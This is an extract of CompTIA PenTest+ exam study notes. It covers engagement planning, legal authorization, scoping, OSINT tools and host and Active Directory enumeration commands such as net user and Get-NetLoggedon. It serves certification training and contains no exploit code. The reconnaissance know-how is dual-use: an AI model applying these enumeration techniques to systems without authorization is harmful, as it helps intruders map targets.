CompTIA+PenTest++ (PT0 002) +Study+Notes
CompTIA+PenTest++ (PT0 002) +Study+Notes
o Recommended Prerequisites
▪ Intermediate-level security professionals with at least 3 to 4 years of
broad hands-on experience
▪ Security+ and CySA+ certified (not a strict requirement)
● Knowledge from the CompTIA Security+ exam is considered
assumed knowledge
o Computer security
o Security analysis
o Penetration testing
o Five Domains
▪ Domain 1: Planning and Scoping (14%)
● Focused on techniques that emphasize governance, risk, and
compliance concepts, scoping and organizations or customer
requirements, and demonstrating an ethical hacking mindset
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
enumeration results
o Exam Voucher
▪ Get your exam voucher at store.comptia.org for regular pricing
-2-
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Save 10% and get access to our searchable video library when you get
your exam voucher at diontraining.com/vouchers
o Four Tips
▪ Closed captions are available
▪ You can adjust the playback speed
▪ Download and print this study guide
▪ Join our Facebook group at facebook.com/groups/diontraining
● If you don’t have Facebook, you can email us at
[email protected]
● Exam Tips
o Tips and Tricks
▪ There will not be any trick questions on test day
▪ Be on the lookout for distractors or red herrings
▪ Pay close attention to words that are in different formats
▪ Base your answers on your studies instead of personal work experience
▪ Choose the answer that is correct for the highest number of situations
▪ Recognize, not memorize
▪ Most tool-based questions require you to know the ‘why’ behind using
such tools
-3-
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
Planning an Engagement
● Planning an Engagement
o Engagement
▪ A singular penetration testing project planned and scoped by the
requesting client and the performing analysts
o Penetration Tester
▪ An authorized threat actor who tries to identify the ways
an unauthorized intruder could damage a network
● Risk
o Risk
▪ The probability that a threat will be realized
▪ Cybersecurity Analyst
● Minimizes vulnerabilities
▪ Penetration Tester
● Finds and exploits vulnerabilities
o Vulnerability
▪ Any weakness in the system design or implementation
o Threat
▪ Anything that could cause harm, loss, damage, or compromise to
information technology systems
-4-
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Risk Management
▪ Finds ways to minimize the likelihood of a certain outcome from
occurring and to achieve the desired outcomes
o Risk Types
▪ Inherent Risk
● Occurs when a risk is identified but no mitigation factors are
applied
● There will always be some inherent risk some attackers will try to
exploit
▪ Residual Risk
● Occurs when a risk is calculated after applying mitigations and
security controls
▪ Risk Exception
● Created risk due to an exemption being granted or failure to
comply with corporate policy
● Mitigations
o Track exceptions
o Measure potential impact
o Implement compensating controls
● Risk Handling
o Risk Avoidance
▪ Stops a risky activity or chooses a less risky alternative
▪ Eliminates the hazards, activities, and exposures with potential negative
effects
-5-
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Risk Transfer
▪ Passes the risk to a third party, such as an insurance company
o Risk Mitigation
▪ Minimizes the risk to an acceptable level which an organization can
accept
o Risk Acceptance
▪ Accepts the current level of risk and the costs associated with it if that
risk were realized
o Risk Appetite
▪ The amount of risk an organization is willing to accept in pursuit of its
objectives
▪ Also called risk attitude and risk tolerance
● Risk Tolerance
o Specific maximum risk the organization is willing to take
about a specific identified risk
o There will always be tradeoffs in choosing which risk handling action to take
▪ The higher the security, the higher the cost, and often, the lower the
usability
● Controls
o Categories
▪ Compensative
● Used in place of a primary access control measure to mitigate a
given risk
● Example: dual control
-6-
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Corrective
● Reduces the effect of an undesirable event or attack
● Examples: fire extinguishers and antivirus solutions
▪ Detective
● Detects an ongoing attack and notifies the proper personnel
● Examples: alarm systems, closed circuit television systems, and
honeypots
▪ Deterrent
● Discourages any violation of security policies, both by attackers
and insiders
● Example: surveillance camera sign
▪ Directive
● Forces compliance with the security policy and practices within
the organization
● Example: Acceptable Use Policy (AUP)
▪ Preventive
● Prevents or stops an attack from occurring
● Examples: password protection, security badges, antivirus
software, and intrusion prevention systems
▪ Recovery
● Recovers a device after an attack
● Examples: Disaster Recovery Plans (DRPs), backups, and continuity
of operations plans
o Defense in depth
▪ Layers various access controls for additional security
o Broad Categories
▪ Administrative (Managerial)
● Manages personnel and assets through security policies,
standards, procedures, guidelines, and baselines
● Examples: proper data classification and labeling, supervision of
personnel, and security awareness training
-7-
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Logical (Technical)
● Implemented through hardware or software and used to prevent
or restrict access to a system
● Examples: firewalls, intrusion detection systems, intrusion
prevention systems, authentication schemes, encryption, new
protocols, auditing or monitoring software, and biometrics
o Auditing
▪ One-time evaluation of a security posture
o Monitoring
▪ Ongoing process that continually evaluates the
system or its users
▪ Organizations should automate the process as
much as is practical
▪ Continuous monitoring includes:
● Change management
● Configuration management
● Log monitoring
● Status report analysis
▪ Physical
● Protects the organization’s personnel and facilities
● Examples: fences, locks, security badges, proximity cards for entry
into the building, guards, access control vestibules, biometrics,
and other means of securing the facility
● PenTest Methodologies
o Methodology
▪ A system of methods used in a particular area of study or activity
o Methodology (PenTest)
▪ The systematic approach a pentester uses before, during, and after a
penetration test, assessment, or engagement
▪ Penetration tests use the same steps taken by threat actors or hackers
-8-
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Adversary Emulation
▪ Mimics the tactics, techniques, and procedures of a real-world threat
actor in a penetration test
-9-
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Penetration Standards
o Open Web Application Security Project (OWASP)
▪ Provides community-led software projects, education, and training, and
has become the source for securing the web (owasp.org)
▪ OWASP Top 10
● A standard awareness document for developers and web
application security
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ OSSTMM Audit
● Used to create an accurate measurement of security at an
operational level in an organization, void of assumptions and
anecdotal evidence
- 11 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Planning a Test
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
- 13 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Legal Concepts
o Written Permission
▪ Prevents a penetration tester, also known as an ethical hacker or
authorized hacker, from going to prison
▪ Ensure the client is aware that certain types of testing during the
engagement may cause damage to their systems or the information they
contain
- 14 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Confidentiality
▪ The principle and practice of keeping sensitive information private unless
the data owner or custodian gives explicit consent to have it shared to a
third party
▪ Gain a clear understanding of what data is sensitive to the organization
and how to best protect it
● Regulatory Compliance
o Sarbanes-Oxley (SOX)
▪ Affects publicly traded U.S. corporations
▪ Enacted by congress as the Public Company Accounting Reform and
Investor Protection Act of 2002
▪ Failure to follow can result in senior leadership receiving jail time for non-
compliance
- 15 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
- 16 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
- 17 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Professionalism
o A penetration tester must be aware of the laws that deal with hacking, since
penetration testing is effectively hacking
o Section 1029
▪ Focused on fraud and relevant activity with access devices
o Section 1030
▪ Focused on fraud and related activity wit-h computers, which is loosely
defined to include any device connected to a network
▪ Also covers the act of exceeding one’s access rights
o Written Permission
▪ Secure a written permission from the target organization
▪ Your get out of jail free card
o Cloud Providers
▪ Gain permissions from the target organization, as well as from the cloud
provider
o Confidentiality
▪ You are responsible for protecting the confidential information you will
find
▪ You are also responsible for protecting the information about network
vulnerabilities
▪ Each member should have a background check conducted on them
o Termination
▪ Stop immediately upon discovering a real attack or scanning the wrong
target
- 18 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
- 19 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
Scoping an Engagement
● Scoping an Engagement
o Scope
▪ The combined objectives and requirements needed to complete an
engagement
▪ The scope of the project should be first agreed upon
o Cloud Services
▪ Software as a Service (SaaS)
● The service provider provides the client organization with a
complete solution
▪ Infrastructure as a Service (IaaS)
● The service provider provides dynamic allocation of additional
resources without requiring clients to buy the hardware and
underlying operating systems
- 20 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Identify any web or mobile applications that may become part of the scope
▪ Local network
▪ Cloud server
▪ Web or mobile applications
● Adversary Emulation
o Adversary Emulation
▪ A specialized type of penetration testing that involves trying to mimic the
tactics, techniques, and procedures of a real-world threat actor
o Threat Actor
▪ The generic term used to describe unauthorized hackers who wish to
harm networks or steal secure data
o Script Kiddie
▪ The least skilled type of attacker who uses freely available tools on
the Internet or in openly available security toolsets that penetration
testers might also use
▪ Script kiddies conduct their attacks for profit, to gain credibility, or
just for laughs
o Insider Threat
▪ People who have authorized access to an organization’s network,
policies, procedures, and business practices
▪ Prevention
● Data loss prevention
● Internal defenses
● SIEM search
- 21 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Competitor
● A rogue business that attempts to conduct cyber espionage
against an organization
▪ Organized Crime
● A category of threat actor that is focused on hacking and
computer fraud in order to receive financial gains
● Organized crime hackers are well-funded and can use
sophisticated tools
▪ Hacktivist
● A politically motivated hacker who targets governments,
corporations, and individuals to advance their own political
ideologies or agendas
● Plausible deniability
● False flag attack
o Uses the TTPs of a different nation state in order to
implicate them in an attack
o Each threat actor conducts these attacks for different reasons and motivations
▪ Use threat actor knowledge to conduct threat modeling and emulation
● Simulating an APT attack involves developing own custom code
and exploits
● Emulating a script kiddie involves the use open-source tools to
conduct the attacks
● Modeling an insider threat would require some internal
knowledge about the target
- 22 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Target List
o Internal Target
▪ Inside the organization’s firewall and requires testers to be on-site, gain
access through a VPN, or exploit a user’s computer inside the
organizational network
o External Target
▪ Can be accessed directly from across the Internet
o On-Site Asset
▪ Any asset that is physically located where an attack is being carried out
o Off-Site Asset
▪ Any asset that provides a service for a company not necessarily located at
the same place
▪ Employee-owned devices may also be categorized as an off-site location
- 23 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o A web application and its associated APIs could be used for either public facing
applications or only be used internal to the organization
▪ Determine any mission-critical web applications
● Identifying Restrictions
o Ensure the organization understands the exact operational impact of the risk
tolerance and restrictions
▪ Risk tolerance will also impact the schedule and timing of a penetration
test
o Scope Creep
▪ Occurs when a client starts asking for more services than what is listed in
the statement of work
▪ Prevention
● Addendum to the contract
● Prearranged cost for expansion
o Location
▪ The location of the client, the pentester, or the in-scope third-party
hosted services will also have restrictions
▪ Consult with your lawyer before accepting a contract and ensure you can
legally perform the services
- 24 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Regulations
▪ U.S. Export Administration Regulations (EAR)
▪ Wassenaar Arrangement
● Outlaws the exportation of a technology that can be used both in
a regular commercial setting and as a weapon
o Encryption
o Wireshark
▪ A powerful open-source protocol analysis tool that
can decrypt many different types of encryption
protocols
● Rules of Engagement
o Rules of Engagement (ROE)
▪ The ground rules that both the organization and the penetration tester
must abide by
o Timeline
▪ Used to represent a series of events that transpire within a discrete
period
o Locations
▪ All authorized locations should be listed in the ROE, especially those that
cross international borders
o Time Restrictions
▪ Used to specify certain times that a penetration tester is authorized or
unauthorized to conduct their exploits and attacks
▪ Explain the importance of conducting the penetration test during normal
business hours
o Transparency
- 25 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Trusted Agent
● An in-house staff member who will be designated as a monitor in
the organization during the assessment
● The trusted agent can also provide the penetration testers with
resources
o Boundaries
▪ Used to refer to what systems may be targeted or what techniques can
be utilized
● Assessment Types
o Goal-Based Assessment
▪ A type of assessment with a specific goal in mind
o Objective-Based Assessment
▪ A type of assessment where the tester seeks to ensure that the
information remains secure
▪ Objective-based assessment is more like a real attack
o Compliance-Based Assessment
▪ A type of assessment that focuses on finding out if policies and
regulations are being properly followed
● Examples: PCI-DSS, GDPR, HIPAA, Sarbanes-Oxley, GLBA
o Premerger Assessment
▪ A type of assessment that is conducted before two companies merge
with each other in a period of time known as due diligence
- 26 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Testing Strategies
▪ Unknown Environment
● An assessment where the penetration tester has no prior
knowledge of the target organization or their network
● The penetration tester will spend a lot of time in the information
gathering and vulnerability scanning phase
▪ Partially-Known Environment
● The most common type of assessment which entails partial
knowledge of the target organization and its information systems
● This decreases the time spent in the information gathering phase
to spend more time identifying potential vulnerabilities
▪ Known Environment
● A test where the penetration tester is given all the details about
the organization, network, systems, and the underlying
infrastructure
● The penetration tester can spend more time probing for
vulnerabilities and exploits
- 27 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Allowed List
▪ Authorized targets
o Excluded List
▪ Unauthorized targets
o Think about any possible security exceptions that may need to be utilized as
contingencies
o Contractual Documents
▪ Statement of Work
▪ Master Service Agreement
▪ Service-Level Agreement
▪ Non-Disclosure Agreement
o During Engagement
▪ Always maintain your professionalism as a penetration tester
▪ Your team will be limited to performing only what are considered
allowable tests
▪ Limit the invasiveness of the engagement based upon the agreed upon
scope
▪ Limit the use of specific tools to specific types of engagements
▪ Better to ask permission than to beg forgiveness in penetration testing
Passive Reconnaissance
- 28 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Passive Reconnaissance
o Reconnaissance
▪ Focuses on gathering as much information about the target as possible,
and can either be passive or active in nature
● Information Gathering
o Reconnaissance
▪ Learning about an organization in a systematic attempt to locate, gather,
identify, and record information about the targets
o Footprinting
▪ Figuring out exactly what types of systems the organization uses to be
able to attack them in the next phase of the assessment
o Passive Reconnaissance
▪ Attempts to gain information about targeted computers and networks
without actively engaging with those systems
● Online research
● Social engineering
● Dumpster diving
● Email harvesting
▪ Gather and catalog all reconnaissance findings for others to review and
use
- 29 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Check out the company’s investor relations site or page on its main site
o Understand the culture of a target company by checking blogs and social media
o Key Details
▪ Roles different employees have
▪ Different teams and departments
▪ Contact information
▪ Technical aptitude and security training
▪ Employee and managerial mindset
o LinkedIn
o Monster
o Indeed
o ZipRecruiter
o Glassdoor
● OSINT Tools
- 30 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Metagoofil
▪ A Linux-based tool that can search the metadata associated with public
documents located on a target’s website
o Metadata
▪ The data about the data in the file
o The Harvester
▪ A program for gathering emails, subdomains, hosts, employee names,
email addresses, PGP key entries, open ports, and service banners from
servers
o Recon-ng
▪ Uses a system of modules to add additional features and functions for
your use
▪ It is a cross-platform web reconnaissance framework
o Shodan
▪ A website search engine for web cameras, routers, servers, and other
devices that are considered part of the Internet of things
o Censys
▪ A website search engine used for finding hosts and networks across the
Internet with data about their configuration
o Maltego
- 31 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● DNS Information
o Domain Name System (DNS)
▪ A system that helps network clients find a website using human readable
hostnames instead of numeric IP addresses
o AAAA Record
▪ Links a hostname to an IPv6 address
- 32 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Focus on MX, TXT, and SRV records to check for email and third-party
SaaS solutions
o Whois
▪ A command line tool on Linux, which is also a website, that is a query and
response protocol for Internet resources
▪ Whois is not nearly as valuable as before, but still helpful to be reviewed
● Public Repositories
o Public Source Code Repositories
▪ Websites that allow developers to work together in an agile way to
create software very quickly
▪ Private files can sometimes be mistakenly classified as public for anyone
to find
▪ Example: GitHub, Bitbucket, SourceForge
▪ Public source code repositories contain a lot of valuable data
o Website Archives/Caches
▪ Wayback Machine
▪ Deleted data can still exist somewhere on the Internet
o Image Search
● NOT
- 33 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● AND/OR
o Use these logical operators to require both search terms
(AND) or to require either search term (OR)
● Scope
o Different keywords that can be used to select the scope of
the search, such as site, filetype, related, allintitle, allinurl,
or allinanchor
● URL Modifiers
o Modifiers that can be added to the results page to affect
the results, such as &pws=0, &filter=0, and &tbs=li:1
● URL Analysis
o URL Analysis
▪ Activity that is performed to identify whether a link is already flagged on
an existing reputation list, and if not, to identify what malicious script or
activity might be coded within in
▪ Importance
● Resolving percent encoding
● Assessing redirection of the URL
● Showing source code for scripts in URL
o HTTP Method
▪ A set of request methods to indicate the desired action to be performed
for a given resource
▪ A request contains a method, a resource, a version number, the header,
and the body of the request
▪ Methods
- 34 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● GET
o The principal method used with HTTP and is used to
retrieve a resource
● POST
o Used to send data to the server for processing by the
requested resource
● PUT
o Creates or replaces the requested resource
● DELETE
o Used to remove the requested resource
● HEAD
o Retrieves the headers for a resource only and ignores the
body
▪ Query Parameters
● Usually formatted as one or more name=value pairs with
ampersands (&) delimiting each pair
▪ Codes
● 200
o Indicates a successful GET or POST request (OK)
● 201
o Indicates where a PUT request has succeeded in creating a
resource
● 3xx
- 35 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● 4xx
o Any code in this range indicates an error in the client
request
o 400
▪ Indicates that a request could not be parsed by the
server
o 401
▪ Indicates that a request did not supply
authentication credentials
o 403
▪ Indicates that a request did not have sufficient
permissions
o 404
▪ Indicates that a client has requested a non-existent
resource
● 5xx
o Any code in this range indicates a server-side issue
o 500
▪ Indicates a general error on the server-side of the
application
o 502
▪ Indicates a bad gateway has occurred when the
server is acting as a proxy
o 503
▪ Indicates an overloading of the server is causing
service unavailability
o 504
- 36 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Percent Encoding
▪ A mechanism to encode 8-bit characters that have specific meaning in
the context of URLs, also known as URL encoding
▪ Unreserved Characters
● a-z, A-Z, 0-9, (-), (.), (_), (~)
▪ Reserved Characters
● (:), (/), (?), (#), ([), (]), (@), (!), ($), (&), (‘), ((), ()), (*), (+), (,), (;), (=)
▪ Warning
● Percent encoding can be misused to obfuscate the nature of a
URL (encoding unreserved characters) and submit malicious input
as a script or binary or to perform directory traversal
- 37 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Cryptographic Flaws
o Cryptographic Inspection
▪ Checks validity of certificates or potential vulnerabilities to exploit within
the target servers
o Cipher Suite
▪ Defines the algorithm supported by the client and server when
requesting to use encryption and hashing
▪ Example:
● ECDHE_RSA_AES128_GCM_SHA256
● TLS_AES_256_GCM_SHA384
o Encryption Algorithms
▪ ChaCha20
▪ RSA
▪ AES
▪ GCM
▪ CBC
o Digital Certificates
▪ Falsified digital certificates can also be used to trick the target
organization’s users
▪ Identify other potential targets or servers in digital certificate fields
● Subject Alternative Name (SAN) Field
o Allows the use of digital certificates with other domains in
addition to the main domain
- 38 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Wildcard
o Allows the use of the same public key certificate and have
it displayed as valid across all subdomains
o Look into the SAN field or the Wildcard to check for other domains or
subdomains
o Certificate Pinning
▪ A method of trusting digital certificates that bypass the CA hierarchy and
chain of trust
o Certificate Stapling
▪ Allows a web server to perform certificate status check
▪ Eliminates the need for additional connection at the time of the request
- 39 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o JPCERT - jpcert.or.jp
▪ Japan’s version of the Computer Emergency Response Team
o Full Disclosure
▪ a mailing list from the makers of Nmap
o Understand the key terms like CVE and CWE and how they may link a
vulnerability to a potential exploit
- 40 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
Active Reconnaissance
● Active Reconnaissance
o Active Reconnaissance
▪ Engaging with the targeted systems or networks to gather information
about their vulnerabilities
● Nmap/Zenmap
o Nmap
▪ Requires exact syntax
o Zenmap
▪ Provides dropdown menu
o Ping scan
o Quick scan
o Intense scan
- 41 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Fingerprinting
▪ The identification of an operating system, a service, or a specific software
version that is in use by a host, a system, or a network
o Banner Grabbing
▪ Using a program like Netcat, wget, or telnet to connect to a given port
that is running a service
▪ Scanning
● More generic
▪ Enumeration
● More in depth
▪ Fingerprinting
● Most detailed
● Other Enumeration
o Host
▪ Any server, workstation, client, which can also include mobile devices,
tablets, and IoT devices, or even a networking device like a switch, router,
or access point
▪ We can enumerate the hosts using command line-based Windows tools
to learn more about the target network
▪ Commands
● net
o A suite of tools that can be used to perform operations on
groups, users, account policies, network shares, and more
● arp
o Used when enumerating a Windows host
o Address Resolution Protocol (ARP) Cache
▪ Provides a list of all the other machine’s MAC
addresses that have recently communicated with
the host you are currently on
- 42 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● ipconfig
o Determines the IP address of the machine you are
currently on
o ipconfig /displaydns
▪ Displays any DNS names that have recently been
resolved
● uname -a
o Shows the OS’s name, version, and other relevant details
displayed to the terminal
● env
o Gives a list of all of the environment variables on a Linux
system
o Services
▪ Can be enumerated to provide us with additional details about a given
host
▪ Conducting an intensive scan using Nmap returns information about the
services running on a host’s open ports
o Domains
▪ Active Directory (AD)
● A database that stores, organizes, and enables access to other
objects under its control
- 43 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ User
● Used to represent a person or process that will access a given
resource in the domain
▪ Group
● A collection of users
▪ Domain Enumeration
● PowerShell
o Living off the land
o Get-NetDomain
▪ Lists the current logged in user’s domain
o Get-NetLoggedon
▪ Lists of all the users who are logged into a given
computer
● Nmap, Metasploit
o Own tools
o Users
▪ Get-NetGroupMember
● Lists the domain members belonging to a given group
▪ net user
● Lists all the users on the machine
▪ net groups
● Lists the groups on the machine
o URLs
▪ You can use various tools to gain more details about the web server or
applications running on valid URLs
- 44 -
https://www.DionTraining.com © 2022
